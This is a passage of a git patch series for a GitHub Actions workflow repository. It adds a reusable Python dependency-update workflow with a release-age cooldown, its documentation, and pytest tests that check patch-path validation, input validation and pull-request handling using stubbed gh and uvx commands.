@@ -0,0 +1,266 @@ +from __future__ import annotations + +import hashlib +import json +import os +import stat +import subprocess +from pathlib import Path +from typing import TYPE_CHECKING + +import pytest +import yaml +from conftest import WORKFLOWS, run, run_workflow_step, workflow_step + +if TYPE_CHECKING: + from collections.abc import Mapping + +WORKFLOW = "open-maintenance-pr.yaml" +CHECK = "๐Ÿ” Check patch paths and modes" +APPLY = "โš™๏ธ Apply maintenance patch to a scratch index" +ALLOWED = "pylock.toml\npyproject.toml\ndiagrams/*.svg\n" + + +@pytest.fixture +def repository(tmp_path: Path) -> Path: + repo = tmp_path / "repository" + repo.mkdir() + run(repo, "git", "init", "-b", "main") + run(repo, "git", "config", "user.name", "Release test") + run(repo, "git", "config", "user.email", "release@example.org") + (repo / "pylock.toml").write_text("lock-version = '1.0'\n") + (repo / "pyproject.toml").write_text('[project]\nname = "example"\n') + (repo / "docs").mkdir() + (repo / "docs/readme.md").write_text("Docs.\n") + (repo / "diagrams").mkdir() + (repo / "diagrams/a.svg").write_text("\n") + (repo / "diagrams/a.txt").write_text("text\n") + (repo / "pylockXtoml").write_text("not the lock\n") + run(repo, "git", "add", ".") + run(repo, "git", "commit", "-m", "Initial files") + return repo + + +def make_patch(repo: Path, tmp_path: Path, change: Mapping[str, str | None], *, mode: int | None = None) -> Path: + for path, text in change.items(): + target = repo / path + if text is None: + target.unlink() + continue + target.parent.mkdir(parents=True, exist_ok=True) + target.write_text(text) + if mode is not None: + target.chmod(mode) + run(repo, "git", "add", "-A") + patch = tmp_path / "maintenance-patch" / "maintenance.patch" + patch.parent.mkdir(exist_ok=True) + patch.write_text(run(repo, "git", "diff", "--cached", "--binary", "--no-renames").stdout) + run(repo, "git", "reset", "-q", "--hard", "HEAD") + run(repo, "git", "clean", "-fdq") + return patch + + +def values(tmp_path: Path, allowed: str = ALLOWED, **extra: str) -> dict[str, str]: + return { + "inputs.allowed-paths": allowed, + "inputs.artifact-id": "1", + "inputs.base": "main", + "inputs.body": "Body.", + "inputs.branch": "automation/maintenance", + "inputs.labels": "", + "inputs.title": "Maintain things", + "needs.validate.outputs.patch-sha256": "", + "runner.temp": str(tmp_path), + "steps.token.outputs.token": "token", + } | extra + + +def check_patch(repo: Path, tmp_path: Path, allowed: str = ALLOWED) -> subprocess.CompletedProcess[str]: + for name in (APPLY, CHECK): + result, _ = run_workflow_step( + WORKFLOW, "validate", name, cwd=repo, runner_temp=tmp_path, values=values(tmp_path, allowed) + ) + if result.returncode: + return result + return result + + +@pytest.mark.parametrize( + ("change", "mode", "accepted"), + [ + pytest.param({"pylock.toml": "changed\n"}, None, True, id="modify-allowed"), + pytest.param({"diagrams/new.svg": "\n"}, None, True, id="add-glob-match"), + pytest.param({"pyproject.toml": None}, None, True, id="delete-allowed"), + pytest.param({"docs/readme.md": "changed\n"}, None, False, id="modify-disallowed"), + pytest.param({"diagrams/a.txt": "changed\n"}, None, False, id="glob-misses-other-suffix"), + pytest.param({"pylock.toml": "x\n"}, 0o755, False, id="executable-mode"), + pytest.param({"pylockXtoml": "changed\n"}, None, False, id="dot-is-literal"), + ], +) +def test_check_accepts_only_allowed_regular_changes( + repository: Path, tmp_path: Path, change: dict[str, str | None], mode: int | None, accepted: bool +) -> None: + make_patch(repository, tmp_path, change, mode=mode) + result = check_patch(repository, tmp_path) + assert (result.returncode == 0) == accepted, result.stderr + if not accepted: + assert "::error::" in result.stderr + + +def test_check_rejects_symlink_replacing_a_regular_file(repository: Path, tmp_path: Path) -> None: + (repository / "pylock.toml").unlink() + (repository / "pylock.toml").symlink_to("pyproject.toml") + make_patch_from_working_tree(repository, tmp_path) + result = check_patch(repository, tmp_path) + assert result.returncode != 0 + assert "unexpected maintenance path status T for pylock.toml" in result.stderr + + +def make_patch_from_working_tree(repo: Path, tmp_path: Path) -> None: + run(repo, "git", "add", "-A") + patch = tmp_path / "maintenance-patch" / "maintenance.patch" + patch.parent.mkdir(exist_ok=True) + patch.write_text(run(repo, "git", "diff", "--cached", "--binary", "--no-renames").stdout) + run(repo, "git", "reset", "-q", "--hard", "HEAD") + + +def test_check_rejects_empty_patch(repository: Path, tmp_path: Path) -> None: + patch = tmp_path / "maintenance-patch" / "maintenance.patch" + patch.parent.mkdir() + patch.write_text("") + result = check_patch(repository, tmp_path) + assert result.returncode != 0 + + +def test_check_rejects_empty_allowed_paths(repository: Path, tmp_path: Path) -> None: + make_patch(repository, tmp_path, {"pylock.toml": "x\n"}) + result = check_patch(repository, tmp_path, allowed="\n") + assert result.returncode != 0 + assert "allowed-paths lists no pattern" in result.stderr + + +def test_writer_repeats_the_validation_step() -> None: + assert workflow_step(WORKFLOW, "validate", CHECK)["run"] == workflow_step(WORKFLOW, "open", CHECK)["run"] + + +def test_digest_step_records_sha256(repository: Path, tmp_path: Path) -> None: + patch = make_patch(repository, tmp_path, {"pylock.toml": "x\n"}) + result, outputs = run_workflow_step( + WORKFLOW, + "validate", + "โš™๏ธ Record the validated patch digest", + cwd=repository, + runner_temp=tmp_path, + values=values(tmp_path), + ) + assert result.returncode == 0, result.stderr + assert outputs == {"sha256": hashlib.sha256(patch.read_bytes()).hexdigest()} + + +def test_writer_rejects_patch_that_differs_from_validated_digest(repository: Path, tmp_path: Path) -> None: + make_patch(repository, tmp_path, {"pylock.toml": "x\n"}) + result, _ = run_workflow_step( + WORKFLOW, + "open", + "๐Ÿ” Verify the validated patch digest", + cwd=repository, + runner_temp=tmp_path, + values=values(tmp_path, **{"needs.validate.outputs.patch-sha256": "0" * 64}), + ) + assert result.returncode != 0 + + +def fake_gh(bin_dir: Path) -> Path: + script = bin_dir / "gh" + script.write_text( + "#!/usr/bin/env bash\n" + '(IFS=$\'\\t\'; echo "$*") >>"$GH_LOG"\n' + 'case "$1" in\n' + 'api) cat "$FAKE_PULLS" ;;\n' + 'pr) if [[ "$2" == create ]]; then echo https://github.com/tox-dev/fixture/pull/21; fi ;;\n' + "esac\n" + ) + script.chmod(script.stat().st_mode | stat.S_IXUSR) + return bin_dir / "gh.log" + + +def pull(number: int, *, branch: str = "automation/maintenance", repo: str = "tox-dev/fixture") -> dict[str, object]: + return {"number": number, "head": {"repo": {"full_name": repo}, "ref": branch}, "base": {"ref": "main"}} + + +def open_pull_request( + repository: Path, tmp_path: Path, pulls: list[dict[str, object]], labels: str +) -> tuple[subprocess.CompletedProcess[str], dict[str, str], list[str]]: + bin_dir = tmp_path / "bin" + bin_dir.mkdir() + log = fake_gh(bin_dir) + pulls_file = tmp_path / "pulls.json" + pulls_file.write_text(json.dumps(pulls)) + (tmp_path / "pull-request.md").write_text("Body.\n") + result, outputs = run_workflow_step( + WORKFLOW, + "open", + "๐Ÿ”€ Write maintenance pull request", + cwd=repository, + runner_temp=tmp_path, + values=values(tmp_path, **{"inputs.labels": labels}), + env={ + "PATH": f"{bin_dir}{os.pathsep}{os.environ['PATH']}", + "GH_LOG": str(log), + "FAKE_PULLS": str(pulls_file), + }, + ) + calls = [line for line in log.read_text().splitlines() if line.startswith("pr\t")] if log.exists() else [] + return result, outputs, calls + + +def test_existing_pull_request_is_updated(repository: Path, tmp_path: Path) -> None: + result, outputs, calls = open_pull_request( + repository, tmp_path, [pull(17, repo="attacker/fork"), pull(18)], "skip news\n\ndependencies\n" + ) + assert result.returncode == 0, result.stderr + assert outputs == {"number": "18"} + body = str(tmp_path / "pull-request.md") + assert calls == [ + ( + f"pr\tedit\t18\t--title\tMaintain things\t--body-file\t{body}" + "\t--add-label\tskip news\t--add-label\tdependencies" + ) + ] + + +def test_missing_pull_request_is_opened(repository: Path, tmp_path: Path) -> None: + result, outputs, calls = open_pull_request(repository, tmp_path, [], "skip news\n") + assert result.returncode == 0, result.stderr + assert outputs == {"number": "21"} + body = str(tmp_path / "pull-request.md") + assert calls == [ + ( + f"pr\tcreate\t--base\tmain\t--head\tautomation/maintenance\t--title\tMaintain things" + f"\t--body-file\t{body}\t--label\tskip news" + ) + ] + + +def test_multiple_open_pull_requests_fail(repository: Path, tmp_path: Path) -> None: + result, _, calls = open_pull_request(repository, tmp_path, [pull(18), pull(19)], "") + assert result.returncode != 0 + assert "multiple maintenance pull requests" in result.stderr + assert calls == [] + + +def test_only_the_writer_holds_the_app_token() -> None: + jobs = yaml.safe_load((WORKFLOWS / WORKFLOW).read_text())["jobs"] + token_jobs = { + name + for name, job in jobs.items() + for step in job["steps"] + if step.get("uses", "").startswith("actions/create-github-app-token@") + } + assert token_jobs == {"open"} + assert jobs["validate"]["permissions"] == {"contents": "read"} + assert jobs["open"]["environment"] == "release-auth" + assert jobs["open"]["needs"] == "validate" + assert jobs["open"]["if"] == "needs.validate.result == 'success'" + names = [step.get("name") for step in jobs["open"]["steps"]] + assert names.index("๐Ÿ”‘ Create release App token") > names.index(CHECK) From 4d6fa37b7aaf58aa35629183c2e8cd2f80d5581d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:51:11 -0800 Subject: [PATCH 10/38] =?UTF-8?q?=E2=9C=A8=20feat(update-python-dependenci?= =?UTF-8?q?es):=20bump=20floors?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add a reusable workflow that bumps the direct requirements of the files a caller names, under a seven-day upload cooldown. A run can expedite named packages past the cooldown, and cooldown 0 days turns it off. The lock is refreshed with Nab, the repository's prek hooks run twice to confirm the result is stable, and the change goes through open-maintenance-pr. The bump-deps-index bootstrap always waits out the seven-day cooldown, since tooling is cooled. kind library is refused until bump-deps-index can apply a cutoff to one dependency section; it cannot yet, so libraries cannot use this workflow. --- .../workflows/update-python-dependencies.yaml | 223 ++++++++++++++++++ README.md | 59 +++++ .../+update-python-dependencies.feature.md | 2 + .../update_python_dependencies/test_update.py | 205 ++++++++++++++++ 4 files changed, 489 insertions(+) create mode 100644 .github/workflows/update-python-dependencies.yaml create mode 100644 changelog.d/+update-python-dependencies.feature.md create mode 100644 tests/update_python_dependencies/test_update.py diff --git a/.github/workflows/update-python-dependencies.yaml b/.github/workflows/update-python-dependencies.yaml new file mode 100644 index 0000000..e7b3967 --- /dev/null +++ b/.github/workflows/update-python-dependencies.yaml @@ -0,0 +1,223 @@ +name: ๐Ÿ“ฆ Update Python dependencies +on: + workflow_call: + inputs: + files: + description: Newline-separated bump-deps-index groups; each line is one run over its space-separated files + type: string + required: true + cooldown: + description: Upload age a bumped release needs, such as 7 days; 0 days turns the cooldown off + type: string + default: 7 days + expedite: + description: Whitespace-separated package names whose newest release skips the cooldown for this run + type: string + default: "" + kind: + description: app cools every bump; library is reserved until bump-deps-index scopes cutoffs by section + type: string + default: app + allowed-paths: + description: Newline-separated globs for files a repository hook regenerates, besides pylock.toml and bumped files + type: string + default: "" + branch: + description: Branch that holds the dependency commit + type: string + default: update-python-dependencies + title: + description: Pull request title, also the commit subject + type: string + default: Update Python dependencies + body: + description: Pull request body + type: string + default: Update dependency floors and the lock from the scheduled scan. + labels: + description: Newline-separated labels to add to the pull request + type: string + default: "" + secrets: + RELEASE_APP_PRIVATE_KEY: + description: Repo-only release App key + required: true +permissions: {} +jobs: + generate: + name: ๐Ÿ“ฆ Bump Python dependencies + runs-on: ubuntu-26.04 + permissions: + contents: read + outputs: + changed: ${{ steps.patch.outputs.changed }} + artifact-id: ${{ steps.upload.outputs.artifact-id }} + allowed-paths: ${{ steps.inputs.outputs.allowed-paths }} + steps: + - name: ๐Ÿ“ฅ Check out repository + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 1 + persist-credentials: false + - name: ๐Ÿ Install uv and Python + uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e # v10.3.2 + with: + version: latest-known + python-version: "3.15" + enable-cache: false + - name: ๐Ÿ“ฆ Install locked release tools + uses: $/install-locked-tools + with: + groups: release-prepare + venv: ${{ runner.temp }}/release-tools + - id: inputs + name: โš™๏ธ Validate inputs and set the cutoffs + env: + ALLOWED_EXTRA: ${{ inputs.allowed-paths }} + COOLDOWN: ${{ inputs.cooldown }} + EXPEDITE: ${{ inputs.expedite }} + FILES: ${{ inputs.files }} + KIND: ${{ inputs.kind }} + run: | + set -euo pipefail + case "$KIND" in + app) ;; + library) + echo "::error::kind library needs bump-deps-index cutoffs per dependency section, which it does not have; use kind app" >&2 + exit 1 + ;; + *) + echo "::error::kind must be app or library, not $KIND" >&2 + exit 1 + ;; + esac + if [[ ! "$COOLDOWN" =~ ^[0-9]{1,4}\ days?$ ]]; then + echo "::error::cooldown must be N days, such as 7 days or 0 days, not '$COOLDOWN'" >&2 + exit 1 + fi + if ((${COOLDOWN%% *} == 0)); then + cutoff=none + echo 'Bump cooldown: off (cooldown 0 days), bumps take the newest release' + else + cutoff=$(date --utc --date="$COOLDOWN ago" '+%Y-%m-%dT%H:%M:%SZ') + echo "Bump cooldown: $COOLDOWN, releases uploaded before $cutoff" + fi + tool_cutoff=$(date --utc --date='7 days ago' '+%Y-%m-%dT%H:%M:%SZ') + : >"$RUNNER_TEMP/expedite" + names=() + while IFS= read -r line; do + read -ra words <<<"$line" + names+=("${words[@]}") + done <<<"$EXPEDITE" + for name in "${names[@]}"; do + if [[ ! "$name" =~ ^[A-Za-z0-9]([A-Za-z0-9._-]*[A-Za-z0-9])?$ ]]; then + echo "::error::expedite entry '$name' is not a package name" >&2 + exit 1 + fi + printf '%s\n' "$name" >>"$RUNNER_TEMP/expedite" + done + if ((${#names[@]})); then + echo "Expedited past the cooldown for this run: ${names[*]}" + fi + : >"$RUNNER_TEMP/file-groups" + bumped=() + while IFS= read -r group; do + if [[ -z "$group" ]]; then + continue + fi + read -ra words <<<"$group" + for word in "${words[@]}"; do + if [[ ! "$word" =~ ^[A-Za-z0-9_.][A-Za-z0-9._/-]*$ || "$word" == *..* ]]; then + echo "::error::files entry '$word' is not a plain relative path" >&2 + exit 1 + fi + bumped+=("$word") + done + printf '%s\n' "$group" >>"$RUNNER_TEMP/file-groups" + done <<<"$FILES" + if ((${#bumped[@]} == 0)); then + echo "::error::files lists no dependency file" >&2 + exit 1 + fi + printf 'cutoff=%s\n' "$cutoff" >>"$GITHUB_OUTPUT" + printf 'tool-cutoff=%s\n' "$tool_cutoff" >>"$GITHUB_OUTPUT" + { + echo 'allowed-paths<>"$GITHUB_OUTPUT" + - name: ๐Ÿ“ฆ Bump dependency floors + env: + CUTOFF: ${{ steps.inputs.outputs.cutoff }} + TOOL_CUTOFF: ${{ steps.inputs.outputs.tool-cutoff }} + UV_NO_CONFIG: "1" + run: | + set -euo pipefail + # The tool itself is tooling, so its install always waits out the seven-day cooldown. + bump=(uvx --exclude-newer "$TOOL_CUTOFF" 'bump-deps-index>=1.18.0') + args=() + if [[ "$CUTOFF" == none ]]; then + args+=(--no-exclude-newer) + else + args+=(--exclude-newer "$CUTOFF") + fi + while IFS= read -r name; do + if [[ -n "$name" ]]; then + args+=(--exclude-newer-package "$name=false") + fi + done <"$RUNNER_TEMP/expedite" + while IFS= read -r group; do + read -ra files <<<"$group" + echo "Bumping ${files[*]}" + "${bump[@]}" "${args[@]}" --file "${files[@]}" + done <"$RUNNER_TEMP/file-groups" + - name: ๐Ÿ”’ Refresh release lock + uses: $/refresh-release-lock + - name: ๐Ÿงน Run repository hooks + continue-on-error: true + uses: $/cooled-prek + with: + args: run --all-files + - name: ๐Ÿงน Confirm repository hooks are stable + uses: $/cooled-prek + with: + args: run --all-files + - id: patch + name: ๐Ÿ“ Write maintenance patch + run: | + set -euo pipefail + git add --all + if git diff --cached --quiet; then + echo 'changed=false' >>"$GITHUB_OUTPUT" + echo 'Maintenance patch skipped: no tracked file changed' + exit 0 + fi + git diff --cached --binary --no-ext-diff --no-renames >"$RUNNER_TEMP/maintenance.patch" + echo 'changed=true' >>"$GITHUB_OUTPUT" + echo "Maintenance patch -> $RUNNER_TEMP/maintenance.patch:" + git diff --cached --stat + - id: upload + name: ๐Ÿ“ค Upload maintenance patch + if: steps.patch.outputs.changed == 'true' + uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2 + with: + name: maintenance-patch + path: ${{ runner.temp }}/maintenance.patch + if-no-files-found: error + retention-days: 1 + open: + name: ๐Ÿ”€ Open dependency pull request + needs: generate + if: needs.generate.outputs.changed == 'true' + permissions: + contents: read + uses: $/.github/workflows/open-maintenance-pr.yaml + with: + artifact-id: ${{ needs.generate.outputs.artifact-id }} + allowed-paths: ${{ needs.generate.outputs.allowed-paths }} + branch: ${{ inputs.branch }} + title: ${{ inputs.title }} + body: ${{ inputs.body }} + labels: ${{ inputs.labels }} + secrets: + RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} diff --git a/README.md b/README.md index 879f8e7..90be6f9 100644 --- a/README.md +++ b/README.md @@ -1076,6 +1076,65 @@ generation run in the read-only job, before the artifact exists. The reusable wo **Output:** `number`, the pull request number. **Remote effect:** One force-pushed commit on `branch` and one pull request into `base`. An open pull request with the same branch is updated; two open pull requests on one branch fail. +## Update Python dependencies + +`update-python-dependencies.yaml` bumps the direct requirements in the files you name, regenerates `pylock.toml`, runs +the repository's hooks, and opens a dependency pull request. It is the Python dependency workflow for applications: +every bumped floor waits out the cooldown, and so does every locked release. + +```yaml +name: Update Python dependencies +on: + workflow_dispatch: + inputs: + cooldown: + description: Upload age a bumped release needs, such as 7 days; 0 days turns the cooldown off + type: string + default: 7 days + expedite: + description: Space-separated packages whose newest release skips the cooldown for this run + type: string + default: "" + schedule: + - cron: 0 8 * * 2 +permissions: {} +jobs: + update: + permissions: + contents: read + uses: tox-dev/github-workflows/.github/workflows/update-python-dependencies.yaml@SHA + with: + files: | + pyproject.toml tox.toml + cooldown: ${{ inputs.cooldown || '7 days' }} + expedite: ${{ inputs.expedite || '' }} + secrets: + RELEASE_APP_PRIVATE_KEY: ${{ secrets.RELEASE_APP_PRIVATE_KEY }} +``` + +- `files` **(required)**: Newline-separated groups. Each line is one `bump-deps-index --file` run over its + space-separated paths, so a file that needs a different cutoff belongs in its own run. Paths are plain relative paths. +- `cooldown`: Upload age a bumped release needs; `7 days` by default, `N days` only. `0 days` turns the bump cooldown + off for the run. The bootstrap of `bump-deps-index` itself always waits seven days. +- `expedite`: Whitespace-separated package names. Each one takes its newest release for this run, past the cooldown. It + changes only the bump. The lock still follows the cutoff in the caller's `[tool.nab]` table, so a locked package needs + a committed `[tool.nab.packages.NAME]` exception, which the next run keeps. +- `kind`: `app` (default) cools every bump. `library` is refused: it would keep direct and test floors fresh while still + cooling tooling, and `bump-deps-index` cannot yet apply a cutoff to one dependency section. +- `allowed-paths`: Newline-separated glob patterns for files that a repository hook rewrites, such as a generated + README. `pylock.toml` and every path in `files` are always allowed. +- `branch`, `title`, `body`, `labels`: Passed to `open-maintenance-pr`. Defaults: `update-python-dependencies`, + `Update Python dependencies`, and no labels. + +The Action installs the locked release tools from the caller's `release-prepare` group, so the caller's `pylock.toml` +needs that group. It runs `refresh-release-lock` to upgrade the lock with Nab, then `cooled-prek` twice: the first run +may rewrite files, and the second confirms the result is stable. Put a repository's own formatting, README generation, +and other steps in its prek hooks. Besides the locked release tools, it installs Nab and `bump-deps-index`, both from +PyPI under the cooldown. + +**Output:** No named output. **Remote effect:** Through `open-maintenance-pr`, one dependency pull request into `main`, +or none when nothing changed. + ## Test a caller The [Actions test suite](tests) executes each inline `run:` block in temporary Git repositories. Test a caller's diff --git a/changelog.d/+update-python-dependencies.feature.md b/changelog.d/+update-python-dependencies.feature.md new file mode 100644 index 0000000..334fe91 --- /dev/null +++ b/changelog.d/+update-python-dependencies.feature.md @@ -0,0 +1,2 @@ +Python dependency floors bump under a seven-day cooldown that a run can expedite per package, the lock is regenerated, +and one dependency pull request opens. diff --git a/tests/update_python_dependencies/test_update.py b/tests/update_python_dependencies/test_update.py new file mode 100644 index 0000000..201f92c --- /dev/null +++ b/tests/update_python_dependencies/test_update.py @@ -0,0 +1,205 @@ +from __future__ import annotations + +import os +import re +import stat +from pathlib import Path +from typing import TYPE_CHECKING + +import pytest +import yaml +from conftest import WORKFLOWS, run, run_workflow_step + +if TYPE_CHECKING: + import subprocess + +WORKFLOW = "update-python-dependencies.yaml" +INPUTS = "โš™๏ธ Validate inputs and set the cutoffs" +BUMP = "๐Ÿ“ฆ Bump dependency floors" +PATCH = "๐Ÿ“ Write maintenance patch" +TIMESTAMP = r"\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}Z" + + +def inputs_values(tmp_path: Path, **extra: str) -> dict[str, str]: + return { + "inputs.allowed-paths": "docs/*.md", + "inputs.cooldown": "7 days", + "inputs.expedite": "", + "inputs.files": "pyproject.toml tox.toml", + "inputs.kind": "app", + "runner.temp": str(tmp_path), + } | extra + + +def validate( + repository: Path, tmp_path: Path, **inputs: str +) -> tuple[subprocess.CompletedProcess[str], dict[str, str]]: + values = inputs_values(tmp_path, **{f"inputs.{key}": value for key, value in inputs.items()}) + env = {"ALLOWED_EXTRA": values["inputs.allowed-paths"]} + return run_workflow_step(WORKFLOW, "generate", INPUTS, cwd=repository, runner_temp=tmp_path, values=values, env=env) + + +@pytest.fixture +def repository(tmp_path: Path) -> Path: + repo = tmp_path / "repository" + repo.mkdir() + run(repo, "git", "init", "-b", "main") + run(repo, "git", "config", "user.name", "Release test") + run(repo, "git", "config", "user.email", "release@example.org") + (repo / "pylock.toml").write_text("lock-version = '1.0'\n") + (repo / "pyproject.toml").write_text('[project]\nname = "example"\n') + run(repo, "git", "add", ".") + run(repo, "git", "commit", "-m", "Initial files") + return repo + + +def test_defaults_build_cutoffs_groups_and_allowed_paths(repository: Path, tmp_path: Path) -> None: + result, outputs = validate(repository, tmp_path, expedite="release-creator\nnab", files="pyproject.toml tox.toml\n") + assert result.returncode == 0, result.stderr + assert re.fullmatch(TIMESTAMP, outputs["cutoff"]) + assert re.fullmatch(TIMESTAMP, outputs["tool-cutoff"]) + assert outputs["allowed-paths"].splitlines() == ["pylock.toml", "pyproject.toml", "tox.toml", "docs/*.md"] + assert (tmp_path / "expedite").read_text() == "release-creator\nnab\n" + assert (tmp_path / "file-groups").read_text() == "pyproject.toml tox.toml\n" + + +def test_zero_days_turns_the_bump_cooldown_off(repository: Path, tmp_path: Path) -> None: + result, outputs = validate(repository, tmp_path, cooldown="0 days") + assert result.returncode == 0, result.stderr + assert outputs["cutoff"] == "none" + assert re.fullmatch(TIMESTAMP, outputs["tool-cutoff"]) + + +def test_empty_extra_paths_add_no_pattern(repository: Path, tmp_path: Path) -> None: + values = inputs_values(tmp_path, **{"inputs.allowed-paths": ""}) + result, outputs = run_workflow_step( + WORKFLOW, + "generate", + INPUTS, + cwd=repository, + runner_temp=tmp_path, + values=values, + env={"ALLOWED_EXTRA": ""}, + ) + assert result.returncode == 0, result.stderr + assert outputs["allowed-paths"].splitlines() == ["pylock.toml", "pyproject.toml", "tox.toml"] + + +@pytest.mark.parametrize( + ("options", "message"), + [ + pytest.param({"kind": "library"}, "kind library needs bump-deps-index cutoffs", id="library"), + pytest.param({"kind": "tool"}, "kind must be app or library", id="unknown-kind"), + pytest.param({"cooldown": "P7D"}, "cooldown must be N days", id="iso-duration"), + pytest.param({"cooldown": "7 weeks"}, "cooldown must be N days", id="weeks"), + pytest.param({"expedite": "bad name!"}, "is not a package name", id="expedite-name"), + pytest.param({"files": "../pyproject.toml"}, "is not a plain relative path", id="parent-path"), + pytest.param({"files": "/etc/pyproject.toml"}, "is not a plain relative path", id="absolute-path"), + pytest.param({"files": "a*.toml"}, "is not a plain relative path", id="glob-path"), + pytest.param({"files": "\n\n"}, "lists no dependency file", id="no-files"), + ], +) +def test_rejects_invalid_inputs(repository: Path, tmp_path: Path, options: dict[str, str], message: str) -> None: + result, _ = validate(repository, tmp_path, **options) + assert result.returncode != 0 + assert message in result.stderr + + +def fake_uvx(bin_dir: Path) -> Path: + log = bin_dir / "uvx.log" + script = bin_dir / "uvx" + script.write_text('#!/usr/bin/env bash\n(IFS=$\'\\t\'; echo "$*") >>"$UVX_LOG"\n') + script.chmod(script.stat().st_mode | stat.S_IXUSR) + return log + + +def bump( + repository: Path, tmp_path: Path, cutoff: str, tool_cutoff: str, **inputs: str +) -> tuple[subprocess.CompletedProcess[str], list[str]]: + bin_dir = tmp_path / "bin" + bin_dir.mkdir(exist_ok=True) + log = fake_uvx(bin_dir) + values = {"steps.inputs.outputs.cutoff": cutoff, "steps.inputs.outputs.tool-cutoff": tool_cutoff} + result, _ = run_workflow_step( + WORKFLOW, + "generate", + BUMP, + cwd=repository, + runner_temp=tmp_path, + values=values | {f"inputs.{key}": value for key, value in inputs.items()}, + env={"PATH": f"{bin_dir}{os.pathsep}{os.environ['PATH']}", "UVX_LOG": str(log)}, + ) + return result, log.read_text().splitlines() if log.exists() else [] + + +def test_bump_runs_each_group_with_cooled_tool_and_expedite(repository: Path, tmp_path: Path) -> None: + result, outputs = validate( + repository, tmp_path, expedite="release-creator", files="pyproject.toml tox.toml\ndocs/a.toml" + ) + assert result.returncode == 0, result.stderr + result, calls = bump(repository, tmp_path, outputs["cutoff"], outputs["tool-cutoff"]) + assert result.returncode == 0, result.stderr + prefix = [ + "--exclude-newer", + outputs["tool-cutoff"], + "bump-deps-index>=1.18.0", + "--exclude-newer", + outputs["cutoff"], + ] + assert calls == [ + "\t".join( + [*prefix, "--exclude-newer-package", "release-creator=false", "--file", "pyproject.toml", "tox.toml"] + ), + "\t".join([*prefix, "--exclude-newer-package", "release-creator=false", "--file", "docs/a.toml"]), + ] + + +def test_bump_without_cooldown_passes_no_cutoff(repository: Path, tmp_path: Path) -> None: + result, outputs = validate(repository, tmp_path, cooldown="0 days") + assert result.returncode == 0, result.stderr + result, calls = bump(repository, tmp_path, outputs["cutoff"], outputs["tool-cutoff"]) + assert result.returncode == 0, result.stderr + assert calls[0].split("\t")[-4:] == ["--no-exclude-newer", "--file", "pyproject.toml", "tox.toml"] + assert len(calls) == 1 + + +def test_patch_step_reports_no_change(repository: Path, tmp_path: Path) -> None: + result, outputs = run_workflow_step( + WORKFLOW, "generate", PATCH, cwd=repository, runner_temp=tmp_path, values=inputs_values(tmp_path) + ) + assert result.returncode == 0, result.stderr + assert outputs == {"changed": "false"} + assert not (tmp_path / "maintenance.patch").exists() + + +def test_patch_step_writes_every_change_including_new_files(repository: Path, tmp_path: Path) -> None: + (repository / "pylock.toml").write_text("lock-version = '2.0'\n") + (repository / "docs").mkdir() + (repository / "docs/new.md").write_text("New.\n") + result, outputs = run_workflow_step( + WORKFLOW, "generate", PATCH, cwd=repository, runner_temp=tmp_path, values=inputs_values(tmp_path) + ) + assert result.returncode == 0, result.stderr + assert outputs == {"changed": "true"} + patch = (tmp_path / "maintenance.patch").read_text() + assert "diff --git a/pylock.toml b/pylock.toml" in patch + assert "diff --git a/docs/new.md b/docs/new.md" in patch + + +def test_generate_is_read_only_and_hands_off_to_the_writer() -> None: + workflow = yaml.safe_load((WORKFLOWS / WORKFLOW).read_text()) + jobs = workflow["jobs"] + assert jobs["generate"]["permissions"] == {"contents": "read"} + assert jobs["open"]["needs"] == "generate" + assert jobs["open"]["if"] == "needs.generate.outputs.changed == 'true'" + assert jobs["open"]["uses"] == "$/.github/workflows/open-maintenance-pr.yaml" + assert jobs["open"]["secrets"] == {"RELEASE_APP_PRIVATE_KEY": "${{ secrets.RELEASE_APP_PRIVATE_KEY }}"} + + +def test_uses_are_pinned_or_local_and_no_cargo_or_uv_lock() -> None: + text = (WORKFLOWS / WORKFLOW).read_text() + for reference in re.findall(r"uses: (\S+)", text): + assert reference.startswith("$/") or re.search(r"@[0-9a-f]{40}$", reference), reference + assert "peter-evans" not in text + assert "uv lock" not in text + assert "cargo" not in text From c7ab297056513ac68a7d3b7c684027842f91a3cd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Bern=C3=A1t=20G=C3=A1bor?= Date: Tue, 3 Nov 2026 17:56:17 -0800 Subject: [PATCH 11/38] =?UTF-8?q?=E2=99=BB=EF=B8=8F=20refactor(tests):=20t?= =?UTF-8?q?ype=20workflow=20step=20helpers?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Describe the step mapping with a TypedDict instead of Any, and read the workflow-level env so a step test sees the same variables as the runner. --- tests/conftest.py | 29 +++++++++++++++++++++++++---- 1 file changed, 25 insertions(+), 4 deletions(-) diff --git a/tests/conftest.py b/tests/conftest.py index 3439f23..b2a6889 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -11,7 +11,7 @@ from collections.abc import Iterator, Mapping from pathlib import Path from textwrap import dedent -from typing import Any, Final +from typing import Final, TypedDict, cast import certifi import coverage @@ -486,11 +486,31 @@ def _expression( raise ValueError(f"unsupported GitHub step environment: {expression}") # pragma: no cover - new syntax only -def workflow_step(workflow: str, job: str, name: str) -> dict[str, Any]: - steps = yaml.safe_load((WORKFLOWS / workflow).read_text())["jobs"][job]["steps"] +Step = TypedDict( + "Step", + { + "id": str, + "name": str, + "if": str, + "run": str, + "env": dict[str, str], + "uses": str, + "with": dict[str, object], + "continue-on-error": bool, + }, + total=False, +) + + +def workflow_step(workflow: str, job: str, name: str) -> Step: + steps = cast("list[Step]", yaml.safe_load((WORKFLOWS / workflow).read_text())["jobs"][job]["steps"]) return next(step for step in steps if step.get("name") == name) +def workflow_env(workflow: str) -> dict[str, str]: + return cast("dict[str, str]", yaml.safe_load((WORKFLOWS / workflow).read_text()).get("env", {})) + + def run_workflow_step( workflow: str, job: str, @@ -510,7 +530,7 @@ def run_workflow_step( expand = {"runner.temp": str(runner_temp), "github.repository": "tox-dev/fixture", **values} step_env = { variable: 